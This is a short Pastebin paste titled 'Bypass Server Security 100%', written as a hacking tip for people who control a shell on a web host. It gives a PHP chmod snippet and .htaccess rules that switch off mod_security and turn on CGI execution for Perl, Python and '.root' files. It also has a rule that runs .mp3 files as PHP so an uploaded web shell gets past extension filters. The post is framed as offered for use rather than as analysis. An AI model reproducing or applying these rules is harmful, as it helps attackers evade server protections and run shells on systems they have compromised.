Prachu

Bypass Server Security 100%

May 23rd, 2016
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. First thing if you can't use python , perl or cgi script to execute commands after giving to the script CHMOD 0755 the solution is to upload this variable php and edit it with the name of the file that you want to execute
  2. exemple of a file: "perl.pl"
  3.  
  4.  
  5. CODE:
  6.  
  7.  
  8. <?
  9. chmod("perl.pl" , 0755);
  10. ?>
  11.  
  12. Then save this file as ".php" extension.
  13.  
  14. If the host is very secured and you can't read directories or upload a file or edit a file just use this ".htaccess"
  15.  
  16. CODE:
  17.  
  18.  
  19. <IfModule mod_security.c>
  20. # Turn the filtering engine On or Off
  21. SecFilterEngine Off
  22. </IfModule>
  23.  
  24.  
  25. Remember if perl don't work with the variable php just use this ".htaccess"
  26.  
  27.  
  28. CODE:
  29.  
  30. Options FollowSymLinks MultiViews Indexes ExecCGI
  31.  
  32. AddType application/x-httpd-cgi .pl
  33.  
  34. AddHandler cgi-script .pl
  35. AddHandler cgi-script .pl
  36.  
  37.  
  38.  
  39. For Python also same but change ".pl" to ".py" for cgi script use this ".htaccess"
  40.  
  41.  
  42. CODE:
  43.  
  44.  
  45. Options FollowSymLinks MultiViews Indexes ExecCGI
  46.  
  47. AddType application/x-httpd-cgi .root
  48.  
  49. AddHandler cgi-script .root
  50. AddHandler cgi-script .root
  51.  
  52.  
  53.  
  54.  
  55. If you want to Bypass Uploads Options and upload shell in another extension use this ".htaccess" :
  56.  
  57. CODE:
  58.  
  59. <FilesMatch "^.*\.mp3"> SetHandler application/x-httpd-php </FilesMatch>
  60.  
  61.  
  62. For more Information check some old pastebin i posted ^_^
  63.  
  64. http://pastebin.com/NapunGnJ
  65.  
  66. http://pastebin.com/VJQN4AvF
  67.  
  68. You can find many if you search in Google Enj0y ;)
Add Comment
Please, Sign In to add comment